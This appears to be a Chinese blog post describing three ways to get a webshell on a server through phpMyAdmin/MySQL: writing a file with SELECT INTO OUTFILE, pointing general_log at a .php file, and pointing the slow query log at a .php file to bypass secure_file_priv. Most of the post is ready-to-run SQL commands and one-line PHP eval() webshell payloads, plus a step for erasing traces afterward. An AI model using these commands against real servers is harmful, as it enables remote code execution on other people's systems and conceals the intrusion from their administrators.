phpmyadmin常见getshell的方法

一、select into outfile直接写入

1、利用条件

对web目录需要有写权限能够使用单引号(root)

知道网站绝对路径(phpinfo/php探针/通过报错等)

secure_file_priv没有具体值

select @@basedir;                                                    查找绝对路径

show global variables like '%secure_file_priv%';       查看有没有配置 secure_file_priv 功能

NULL                                                                         表示不允许导入或导出
/tmp                                                                           表示只允许在 /tmp 目录导入导出
空                                                                               表示不限制目录

2、如果满足以上条件可以直接写shell

select "<?php @eval($_POST[cc]);?>" into outfile '/网站绝对路径/shell.php'

二、日志文件写 shell

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell:

1、SHOW VARIABLES LIKE '%general%'                     查看配置默认是关闭状态

2、set global general_log = on;                                      开启general_log模式

3、set global general_log_file='日志路径\shell.php';       修改日志目录为shell地址 

4、select '<?php eval($_POST[cmd]);?>'                        写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中

  

5、抹除痕迹
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';        修改日志目录为原来地址
set global general_log = off;                                                                      关闭general_log模式

三、慢查询写入webshell

在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用。

在高版本的mysql中默认为NULL,就是不让导入和导出

解决办法:

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

使用慢查询日志绕过此限制

1、show variables like '%slow_query_log%';                                            查看慢查询日志开启情况

2、set global slow_query_log=on;                                                             开启慢查询日志

3、set global slow_query_log_file='C:/phpStudy/WWW/shell.php';          修改日志文件存储的绝对路径

4、select '<?php @eval($_POST[shell]);?>' or sleep(10);                         向日志文件中写入shell

5、使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';           

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值